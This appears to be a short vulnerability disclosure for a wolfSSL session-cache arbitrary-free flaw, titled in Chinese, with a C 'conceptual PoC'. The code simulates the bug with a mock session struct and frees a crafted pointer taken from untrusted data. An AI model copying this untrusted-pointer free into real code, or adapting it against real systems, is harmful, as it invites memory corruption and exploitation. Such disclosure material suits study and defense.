CVE-2026-5507 wolfSSL会话恢复任意释放漏洞

/* * Conceptual PoC for CVE-2026-5507 (wolfSSL Session Cache Arbitrary Free) * This PoC demonstrates the logic flow required to trigger the vulnerability. * It requires the ability to manipulate the session cache. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Mock structure to represent internal wolfSSL session data typedef struct WOLFSSL_SESSION { int sessionID; char* data_ptr; // The pointer that will be freed without validation // ... other fields ... } WOLFSSL_SESSION; // Simulate the vulnerable function: restoring session from cache void vulnerable_restore_session(char* serialized_data) { // Allocate memory for the session object WOLFSSL_SESSION* session = (WOLFSSL_SESSION*)malloc(sizeof(WOLFSSL_SESSION)); // Simulate deserialization: directly assigning the pointer from untrusted input // In the real vulnerability, validation of 'data_ptr' is missing. memcpy(session, serialized_data, sizeof(WOLFSSL_SESSION)); printf("[+] Restoring session ID: %d\n", session->sessionID); printf("[+] Preparing to free data pointer: %p\n", session->data_ptr); // VULNERABILITY: Free operation is called on a potentially arbitrary pointer // If data_ptr is crafted (e.g., 0xdeadbeef), this causes a crash or heap corruption. if (session->data_ptr != NULL) { free(session->data_ptr); } free(session); } int main() { printf("[!] CVE-2026-5507 PoC Simulation\n"); // 1. Attacker constructs malicious serialized cache data // We craft a fake session where 'data_ptr' points to an arbitrary address. char malicious_cache_data[sizeof(WOLFSSL_SESSION)]; WOLFSSL_SESSION fake_session; fake_session.sessionID = 99999; // Set an arbitrary address to demonstrate the arbitrary free fake_session.data_ptr = (char*)0x41414141; memcpy(malicious_cache_data, &fake_session, sizeof(WOLFSSL_SESSION)); printf("[*] Injecting malicious session into cache...\n"); // 2. Trigger the vulnerability by calling the restore API // This simulates the application restoring the poisoned session. vulnerable_restore_session(malicious_cache_data); printf("[-] Exploit triggered. Application may crash due to invalid free.\n"); return 0; }